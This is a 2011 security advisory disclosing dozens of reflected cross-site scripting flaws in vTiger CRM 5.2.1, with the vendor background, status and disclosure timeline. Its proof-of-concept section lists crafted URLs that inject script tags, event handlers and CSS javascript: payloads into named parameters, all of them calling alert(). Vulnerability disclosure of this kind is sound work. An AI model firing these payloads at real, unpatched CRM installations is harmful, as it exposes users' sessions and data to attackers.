vTiger CRM 5.2.x <= Multiple Cross Site Scripting Vulnerabilities
1. OVERVIEW
The vTiger CRM 5.2.1 and lower versions are vulnerable to Cross Site
Scripting. No fixed version has been released as of 2011-10-04.
2. BACKGROUND
vtiger CRM is a free, full-featured, 100% Open Source CRM software
ideal for small and medium businesses, with low-cost product support
available to production users that need reliable support. vtiger CRM
is a widely used product with thousands of users in dozens of
countries. It has a vibrant community of users driving the product
forward, and contributing to it's development. Over 2 million copies
of vtiger CRM have been downloaded so far. It was launched as a fork
of version 1.0 of the SugarCRM project launched on December 31st,
2004.
3. VULNERABILITY DESCRIPTION
Multiple parameters were not properly sanitized, which allows attacker
to conduct Cross Site Scripting attack. This may allow an attacker to
create a specially crafted URL that would execute arbitrary script
code in a victim's browser.
4. VERSIONS AFFECTED
Tested on 5.2.1
5. PROOF-OF-CONCEPT/EXPLOIT
Cross Site Scripting
======================
Browser: IE
---------------
Parameter: return_url
/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1&return_url="><script>alert(/XSS/)</script>
Parameter: workflow_id
/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1'"><script>alert(/XSS/)</script>&return_url=1
Browser: ALL
------------------
Parameter: action
/phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=My
Home Page"><script>alert(0)</script>&jt=
Parameter: module
/phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt=
Parameter: closingdate_end
/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01aa8ed'><script>alert(/xss/)</script>e8e16680dfc&query=true&type=dbrd&owner=admin&viewname=10
Parameter: closingdate_start parameter
/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-0189b81'><script>alert(1)</script>&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=1
Parameter: contact_id
/index.php?module=Calendar&action=EditView&return_module=Contacts&return_action=DetailView&activity_mode=Events&return_id=29&contact_id=><script>alert(1)</script>d3ef7f5e017&account_id=16&parenttab=Marketing
Parameter: date_closed
/index.php?module=Potentials&action=ListView&date_closed=2006-01'><script>alert(1)</script>&sales_stage=Other&query=true&type=dbrd&owner=admin&viewname=10
Parameter: day
Note: Move your mouse over the input text box 'pagenum' , "1" of "1"
/index.php?action=index&module=Calendar&view=week&hour=0&day=5%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x
Parameter: month
Note: Move your mouse over the input text box 'pagenum' , "1" of "1"
/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x=%22&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1
Parameter: owner
Note: Move your mouse over the texts "Potential No.", "Potential Name",..etc
/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin%27%20onmouseover%3d%27alert(/XSS/)%27%2520x%253d%27&viewname=10
Parameter: leadsource
/index.php?module=Potentials&action=ListView&leadsource=--None--'><script>alert(1)</script>&query=true&type=dbrd&viewname=10
Parameter: mode
/index.php?module=Settings&action=profilePrivileges&mode=view%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&parenttab=Settings&profileid=1
Parameter: parent_id
/index.php?module=Calendar&action=EditView&return_module=Leads&return_action=DetailView&activity_mode=Events&return_id=37&parent_id=37"><script>alert(/XSS/)</script>&parenttab=Marketin
Parameter: profile_id
/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%3b}}alert(/XSS/)%3bfunction+xss(){x%3d=0;if(x){x%3d1&mode=view
Parameter: query
Note: Campaigns name 'test' must exist. Move your mouse over the 'edit' link.
/index.php?module=Campaigns&searchtype=BasicSearch&search_field=campaignname&query=truef1de8%22%20onmouseover%3d%22alert%281%29%22%2007&search_text=test&action=index&parenttab=Marketing&search_cnt=
Parameter: sales_stage
/index.php?module=Potentials&action=ListView&sales_stage=Prospect'><script>alert(/XSS/)</script>x&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=10
Parameter: start
Note: Move your mouse over the 'edit' link.
/index.php?action=ListView&module=Calendar&record=116&viewname=19&start=1371b1"%20onmouseover="alert(0)"%20a%3db%22&parenttab=My%20Home%20Page
Parameter: subtab
Note: Move your mouse over the "Day", "Week", "Month", "Year"
/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&parenttab=My&onlyforuser=1
Parameter: type
Note: Move your mouse over the texts "Potential No.", "Potential Name",..etc
/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=db%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&owner=admin&viewname=10
Parameter: view
/index.php?action=index&module=Calendar&view=week'%20onload%3d%22alert%28/XSS/)%22%20x=%22&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1
Parameter: viewOption
/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview%27%29%22%20%20onload%3d%22alert%28/XSS/%29%22%20x=%22&subtab=event&parenttab=My&onlyforuser=1
Parameter: viewname
/index.php?module=Calendar&action=CalendarAjax&file=ListView&ajax=changestate&viewname=10"'%20onmouseover=alert(/XSS/)%20x='&errormsg=
Browser: IE 6, IE 7, FF 4 <
XSS in Hidden Input Tag
============================
Parameter: activity_mode
Note: For this example, record id 116 needs to exist
/index.php?action=DetailView&module=Calendar&record=116&activity_mode=Task%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&parenttab=My
Parameter: display_view
/index.php?module=Dashboard&action=index&display_view=50%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&pbss_edit=true
Parameter: folderid
/index.php?module=Reports&action=SaveAndRun&record=1&folderid=17920%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS
Parameter: groupId
/index.php?module=Settings&action=createnewgroup&returnaction=listgroups&parenttab=Settings&mode=edit&groupId=2%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS
Parameter: mode
/index.php?module=Settings&action=createrole&roleid=H2&parenttab=Settings&mode=edit%22%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS
Parameter: parent
index.php?module=Settings&action=createrole&parenttab=Settings&parent=H%22%20style=%22background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;
Parameter: profile_id
/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%22%20style%3dbackground%2dimage%2durl('javascript:alert(0)')%3bwidth:1000px;height:1000px;display:block;%22%20x%3d&mode=view
Parameter: return_action
/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns&return_action=index"%20style%3d"x%3aexpression(alert(1))"%20x="s&parenttab=Marketing&return_viewname=29
Parameter: return_module
/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&return_action=index&parenttab=Marketing&return_viewname=29
Parameter: returnaction
/index.php?module=Settings&action=createnewgroup&returnaction=listgroups"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Settings&mode=edit&groupId=2
Parameter: roleid
/index.php?module=Settings&action=RoleDetailView&roleid=H2"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s
Parameter: src_module
/index.php?module=Settings&action=ModuleManager&module_update=Step1&src_module=Mobile3"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Setting
Parameter: view
/index.php?action=index&module=Calendar&view=week"%20style%3d"xss%3aexpression(alert(1))"&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1
6. SOLUTION
No patched version is available yet.
The vendor hasn't attempted to fix the issues though they acknowledged
the reports.
7. VENDOR
vTiger Development Team
http://www.vtiger.com/
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2010-12-08: notified vendor
2011-10-04: no fixed version released yet
2011-10-04: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BvTiger_5.2.1%5D_XSS
Wiki VtigerCRM: https://secure.wikimedia.org/wikipedia/en/wiki/Vtiger_CRM
#yehg [2011-10-04]
